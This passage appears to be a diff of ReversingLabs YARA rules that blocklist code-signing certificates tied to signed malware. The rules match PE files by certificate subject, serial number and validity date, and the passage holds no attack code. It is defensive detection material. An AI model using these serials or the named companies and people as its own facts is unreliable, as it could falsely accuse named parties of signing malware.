"https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "aa8f0fe1517134b6e562c2accc46420a4f0afd77c3a7bbe98d551c54e68ed4c7" + logic_hash = "74b1b48f0179187ea7bb8ef4663bf13da47f5c6405ecc5589706184564c05727" score = 75 quality = 90 tags = "INFO, FILE" @@ -28325,21 +50719,21 @@ rule REVERSINGLABS_Cert_Blocklist_353B1Cf7866Ee0B0Acdd532D0Bb1A220 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Network Freak Limited" and pe.signatures [ i ] . serial == "35:3b:1c:f7:86:6e:e0:b0:ac:dd:53:2d:0b:b1:a2:20" and 1558915200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Ambidekstr LLC" and ( pe.signatures [ i ] . serial == "00:c8:44:2a:81:85:08:2e:f1:ed:7d:c3:ff:f2:17:6a:a7" or pe.signatures [ i ] . serial == "c8:44:2a:81:85:08:2e:f1:ed:7d:c3:ff:f2:17:6a:a7" ) and 1616976000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_093Ff2870Fa33Eaf47259457Ee58C2E0 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0406C4A1521A38C8D0C4Aa214388E4Dc : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "3fd458e6-bf5a-51f3-9b46-344e9f8e0ffe" + id = "9019330e-5ab5-5d37-85a1-0e882dbd68ce" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L15990-L16006" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10108-L10124" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1aafe547b8645f07498bac6f0ffd6d5aefbac160aa7a6fb8d1d891e70701ce99" + logic_hash = "f6780751ae553771eb57201a8672847a24512e6279b6a4fd843d8ee2f326860a" score = 75 quality = 90 tags = "INFO, FILE" @@ -28349,21 +50743,21 @@ rule REVERSINGLABS_Cert_Blocklist_093Ff2870Fa33Eaf47259457Ee58C2E0 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AEEPZ Limited" and pe.signatures [ i ] . serial == "09:3f:f2:87:0f:a3:3e:af:47:25:94:57:ee:58:c2:e0" and 1503532800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Venezia Design SRL" and pe.signatures [ i ] . serial == "04:06:c4:a1:52:1a:38:c8:d0:c4:aa:21:43:88:e4:dc" and 1641859201 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_719C17A823839Dca813Ee85888B3B39A : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_12705Fb66Bc22C68372A1C4E5Fa662E2 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ca5b9ec0-2c46-50db-bc47-b3c6c61e990e" + id = "78f9fdf0-d8c6-5316-8053-42f77adf95d1" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16008-L16024" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10126-L10142" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a160ada48048e11632082e7538459554d77d31539e53709cd897f3c454af8236" + logic_hash = "f10316a26e2d34400b7c2e403eab18ab6c1cc94b35f0ac8a3f490d101d29dc8d" score = 75 quality = 90 tags = "INFO, FILE" @@ -28373,21 +50767,21 @@ rule REVERSINGLABS_Cert_Blocklist_719C17A823839Dca813Ee85888B3B39A : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yuanyuan Zhang" and pe.signatures [ i ] . serial == "71:9c:17:a8:23:83:9d:ca:81:3e:e8:58:88:b3:b3:9a" and 1479686400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "APRIL BROTHERS LTD" and pe.signatures [ i ] . serial == "12:70:5f:b6:6b:c2:2c:68:37:2a:1c:4e:5f:a6:62:e2" and 1642464000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6Dc86Ebf5863568E2237B2D89582D705 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_3B0914E2982Be8980Aa23F49848555E5 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "24741dc7-6252-5964-a69f-bef4b2dfe1a7" + id = "88ca65c4-ba0d-5676-979b-4fac737d4f21" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16026-L16042" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10144-L10160" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f24cdf890bd0b51a83ca333c37bc22068ab1f7e7ef36b36d94a133773097bd37" + logic_hash = "ea7d9fa7817751fef775765b54be5dd4d00c15ca50ac10fb40fb46cc3634c7b0" score = 75 quality = 90 tags = "INFO, FILE" @@ -28397,21 +50791,21 @@ rule REVERSINGLABS_Cert_Blocklist_6Dc86Ebf5863568E2237B2D89582D705 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Dening Hu" and pe.signatures [ i ] . serial == "6d:c8:6e:bf:58:63:56:8e:22:37:b2:d8:95:82:d7:05" and 1471305600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Office Rat s.r.o." and pe.signatures [ i ] . serial == "3b:09:14:e2:98:2b:e8:98:0a:a2:3f:49:84:85:55:e5" and 1643155200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_214Df59Fe53874Cc011Dd45727035F51 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_029Bf7E1Cb09Fe277564Bd27C267De5A : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9265bb94-b183-523f-91bf-9bc76ab63d6b" + id = "1e66d13c-3345-592c-9bf8-b8a566c8b9e6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16044-L16060" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10162-L10178" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "96269f41f82621aee029f343acfce70c781bf7713588dfe78fac35a3d1d3f7cd" + logic_hash = "3f64372d11d61c669580d90cdf2201e7f2904fb3d73d27be2ff1559c9c37614a" score = 75 quality = 90 tags = "INFO, FILE" @@ -28421,21 +50815,21 @@ rule REVERSINGLABS_Cert_Blocklist_214Df59Fe53874Cc011Dd45727035F51 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "21:4d:f5:9f:e5:38:74:cc:01:1d:d4:57:27:03:5f:51" and 1468800000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SAMOYAJ LIMITED" and pe.signatures [ i ] . serial == "02:9b:f7:e1:cb:09:fe:27:75:64:bd:27:c2:67:de:5a" and 1637712001 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_37Ca4F66Fdcc8732992723199859886C : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_D3Aee8Abb9948844A3Ac1C04Cc7E6Bdf : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9dd87769-73d0-5299-b6ed-936703abc78e" + id = "6da50886-7f15-5565-9a1a-f6fb25a729ac" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16062-L16078" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10180-L10198" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "190dffc36c17c27c43337d7914683b7bab3ff18a50de5278ed2a66f04b9e395d" + logic_hash = "3f3f1d5c871d2b73627d4281ac5bcd08799fb47f94155e82795d97c87de35e40" score = 75 quality = 90 tags = "INFO, FILE" @@ -28445,21 +50839,21 @@ rule REVERSINGLABS_Cert_Blocklist_37Ca4F66Fdcc8732992723199859886C : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Aleman Ltd" and pe.signatures [ i ] . serial == "37:ca:4f:66:fd:cc:87:32:99:27:23:19:98:59:88:6c" and 1505952000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HOUSE 9A s.r.o" and ( pe.signatures [ i ] . serial == "00:d3:ae:e8:ab:b9:94:88:44:a3:ac:1c:04:cc:7e:6b:df" or pe.signatures [ i ] . serial == "d3:ae:e8:ab:b9:94:88:44:a3:ac:1c:04:cc:7e:6b:df" ) and 1640822400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Be2F22C152Bb218B898C4029056816A9 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_734819463C1195Bd6E135Ce4D5Bf49Bc : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d5ca9d9d-e80f-56c1-90b7-ef931e61ba92" + id = "f7dd21fa-1501-50b2-bd9c-c33cfd932a6b" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16080-L16098" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10200-L10216" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "cd99e4d97d9a60f409cf072bbae254486c307ae3cb6e34c5cd9648c972615f36" + logic_hash = "a63c05cca23b61ba6eabda2b60c617b966a2669fd3a0da30354792e5c1ae2140" score = 75 quality = 90 tags = "INFO, FILE" @@ -28469,21 +50863,21 @@ rule REVERSINGLABS_Cert_Blocklist_Be2F22C152Bb218B898C4029056816A9 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Marts GmbH" and ( pe.signatures [ i ] . serial == "00:be:2f:22:c1:52:bb:21:8b:89:8c:40:29:05:68:16:a9" or pe.signatures [ i ] . serial == "be:2f:22:c1:52:bb:21:8b:89:8c:40:29:05:68:16:a9" ) and 1676246400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "videoalarm s. r. o." and pe.signatures [ i ] . serial == "73:48:19:46:3c:11:95:bd:6e:13:5c:e4:d5:bf:49:bc" and 1637884800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Fc7065Abf8303Fb472B8Af85918F5C24 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Db95B22362D46A73C39E0Ac924883C5B : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "1aebd2be-b22c-5102-a449-27025f61cce6" + id = "527b7963-340e-5d8f-b7e1-1269c0073ec9" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16100-L16118" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10218-L10236" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f57ae32d7efd9cd4c0a207897e30b871dc32405c5b9ad844c9bb7eee4827cc5a" + logic_hash = "895983bcb7f3a0c5ce54504f4a2ff8d652137434b8951380d756de6556d0844e" score = 75 quality = 90 tags = "INFO, FILE" @@ -28493,21 +50887,21 @@ rule REVERSINGLABS_Cert_Blocklist_Fc7065Abf8303Fb472B8Af85918F5C24 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DIG IN VISION SP Z O O" and ( pe.signatures [ i ] . serial == "00:fc:70:65:ab:f8:30:3f:b4:72:b8:af:85:91:8f:5c:24" or pe.signatures [ i ] . serial == "fc:70:65:ab:f8:30:3f:b4:72:b8:af:85:91:8f:5c:24" ) and 1604361600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SPSLTD PLYMOUTH LTD" and ( pe.signatures [ i ] . serial == "00:db:95:b2:23:62:d4:6a:73:c3:9e:0a:c9:24:88:3c:5b" or pe.signatures [ i ] . serial == "db:95:b2:23:62:d4:6a:73:c3:9e:0a:c9:24:88:3c:5b" ) and 1621296000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_698Ff388Adb50B88Afb832E76B0A0Ad1 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0C48732873Ac8Ccebaf8F0E1E8329Cec : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8a6f4a15-08a5-5ca5-a743-55075726e744" + id = "b531341a-e8ac-5b56-a202-3c072f5d2ce0" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16120-L16136" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10238-L10254" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b29bc69c8fd9543dba8f7d2a18d52b1bcbb8a8ae6f553d8b232ca74709b9addc" + logic_hash = "7c9476a4119e013c8bb3c14b607090d592feaa5f2fc0f78d810555681d4a3733" score = 75 quality = 90 tags = "INFO, FILE" @@ -28517,21 +50911,21 @@ rule REVERSINGLABS_Cert_Blocklist_698Ff388Adb50B88Afb832E76B0A0Ad1 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BELLAP LIMITED" and pe.signatures [ i ] . serial == "69:8f:f3:88:ad:b5:0b:88:af:b8:32:e7:6b:0a:0a:d1" and 1675070541 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Hermetica Digital Ltd" and pe.signatures [ i ] . serial == "0c:48:73:28:73:ac:8c:ce:ba:f8:f0:e1:e8:32:9c:ec" and 1618272000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_391Ae38670Ab188A5De26E07 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_C51F4Cf4D82Bc920421E1Ad93E39D490 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "aca9ac98-1c3b-5231-b6e5-97e3b8fec6de" + id = "727aba82-c908-51a6-9f1f-7fd8df424d8c" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16138-L16154" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10256-L10274" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f7ccfadab650ae3b6f950c9d1b35f86aa4a4e6c05479c014ab18881a405678f0" + logic_hash = "cef717e7fe3eb0fb958d405caaf98fa51b22b150ccbf1286d3b4634e9df81ade" score = 75 quality = 90 tags = "INFO, FILE" @@ -28541,21 +50935,21 @@ rule REVERSINGLABS_Cert_Blocklist_391Ae38670Ab188A5De26E07 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DVERI FADO, TOV" and pe.signatures [ i ] . serial == "39:1a:e3:86:70:ab:18:8a:5d:e2:6e:07" and 1540832872 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CUT AHEAD LTD" and ( pe.signatures [ i ] . serial == "00:c5:1f:4c:f4:d8:2b:c9:20:42:1e:1a:d9:3e:39:d4:90" or pe.signatures [ i ] . serial == "c5:1f:4c:f4:d8:2b:c9:20:42:1e:1a:d9:3e:39:d4:90" ) and 1644624000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_D08D83Ff118Df3777E371C5C482Cce7B : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_C96086F1894E6420D2B4Bdeea834C4D7 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "5acd2e61-1c04-5cc5-8773-25856fc163c4" + id = "1268461b-676c-59b8-80c1-c54dbe1a265f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16156-L16174" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10276-L10294" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5fdaf01c6a23057ab976e3ad2a8b40558b16693161410b0f30d7b884de7e3985" + logic_hash = "949bbd41ad4c83a05c1f004786cd296e2af80a3a559955ec90a4675cdfa04258" score = 75 quality = 90 tags = "INFO, FILE" @@ -28565,21 +50959,21 @@ rule REVERSINGLABS_Cert_Blocklist_D08D83Ff118Df3777E371C5C482Cce7B : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AMO-K Limited Liability Company" and ( pe.signatures [ i ] . serial == "00:d0:8d:83:ff:11:8d:f3:77:7e:37:1c:5c:48:2c:ce:7b" or pe.signatures [ i ] . serial == "d0:8d:83:ff:11:8d:f3:77:7e:37:1c:5c:48:2c:ce:7b" ) and 1444780800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "THE FAITH SP Z O O" and ( pe.signatures [ i ] . serial == "00:c9:60:86:f1:89:4e:64:20:d2:b4:bd:ee:a8:34:c4:d7" or pe.signatures [ i ] . serial == "c9:60:86:f1:89:4e:64:20:d2:b4:bd:ee:a8:34:c4:d7" ) and 1644969600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_06Ce209477F1Ac19A2049Bdc5846A831 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_06Fa27A121Cc82230C3013Ee634B6C62 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "21c16e2c-bc0c-5e1d-bc44-6d7c4afc34cb" + id = "4520e544-7a41-5dde-b90b-46cf3349297c" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16176-L16192" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10296-L10312" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "24474c4033a8cad1690160da64b75a1eec570f56e830967256c19574bde59384" + logic_hash = "23ac7a97e7632536ed27cf9078b6bc1a734f1e991a20a228734b45117582f367" score = 75 quality = 90 tags = "INFO, FILE" @@ -28589,21 +50983,21 @@ rule REVERSINGLABS_Cert_Blocklist_06Ce209477F1Ac19A2049Bdc5846A831 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Select'Assistance Pro" and pe.signatures [ i ] . serial == "06:ce:20:94:77:f1:ac:19:a2:04:9b:dc:58:46:a8:31" and 1426710344 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Zimmi Consulting Inc" and pe.signatures [ i ] . serial == "06:fa:27:a1:21:cc:82:23:0c:30:13:ee:63:4b:6c:62" and 1645142401 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_447F449121B883211663B7B7E2Ead868 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_9Dd3B2F7957Ba99F4B04Fcdbe03B7Aac : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "a3ee3618-0e20-5d9c-a514-9020607bd1b0" + id = "25229478-e891-5e0a-b738-6ca1fdd0012c" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16194-L16210" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10314-L10332" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f473a939d1a27cf53c09d0e4a3753a9444ae3674a55d5b0feafeef6b75dd487f" + logic_hash = "d4f1b75dddd47fe8a19bd8e794b4930bdcaf54d63db57422db0a9b631d4f488d" score = 75 quality = 90 tags = "INFO, FILE" @@ -28613,21 +51007,21 @@ rule REVERSINGLABS_Cert_Blocklist_447F449121B883211663B7B7E2Ead868 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "3 AM CHP" and pe.signatures [ i ] . serial == "44:7f:44:91:21:b8:83:21:16:63:b7:b7:e2:ea:d8:68" and 1443052800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DOD MEDIA LIMITED" and ( pe.signatures [ i ] . serial == "00:9d:d3:b2:f7:95:7b:a9:9f:4b:04:fc:db:e0:3b:7a:ac" or pe.signatures [ i ] . serial == "9d:d3:b2:f7:95:7b:a9:9f:4b:04:fc:db:e0:3b:7a:ac" ) and 1646438400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6366A9Ac97Df4De17366943C9B291Aaa : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_061051Ff2A8Afab10347A6F1Ff08Ecb6 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "77d6756b-e948-5771-9ec1-f5159b0e792c" + id = "4e23648f-9770-53ad-9c62-6e6239a02aa7" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16212-L16228" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10334-L10350" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "dcdfb78d4d779b1cabcdf5b2da1fa27aaa9faaed4d4967630ce45f30304fe227" + logic_hash = "db3ac3ee326c60e9abc94a2fb53d801637f044e7ab72d69e53958799e48747b7" score = 75 quality = 90 tags = "INFO, FILE" @@ -28637,21 +51031,21 @@ rule REVERSINGLABS_Cert_Blocklist_6366A9Ac97Df4De17366943C9B291Aaa : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "xlgames" and pe.signatures [ i ] . serial == "63:66:a9:ac:97:df:4d:e1:73:66:94:3c:9b:29:1a:aa" and 1326796477 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TACHOPARTS SP Z O O" and pe.signatures [ i ] . serial == "06:10:51:ff:2a:8a:fa:b1:03:47:a6:f1:ff:08:ec:b6" and 1606435200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_66E3F0B4459F15Ac7F2A2B44990Dd709 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Eda2429083Bfafb04E6E7Bdda1B08834 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2fc1303f-e559-59ba-a1b9-b74a154d8805" + id = "0f5852c4-7866-5e12-97e9-c73972def6c5" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16230-L16246" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10352-L10370" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a563f1485ae8887c46f45d1366f676894c7db55954671825b37372f786ce0d3d" + logic_hash = "4f7d5c6929fe364c8868fddb28dd7bbf7cdcf3896d57836466af1a538190d11c" score = 75 quality = 90 tags = "INFO, FILE" @@ -28661,21 +51055,21 @@ rule REVERSINGLABS_Cert_Blocklist_66E3F0B4459F15Ac7F2A2B44990Dd709 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "KOG Co., Ltd." and pe.signatures [ i ] . serial == 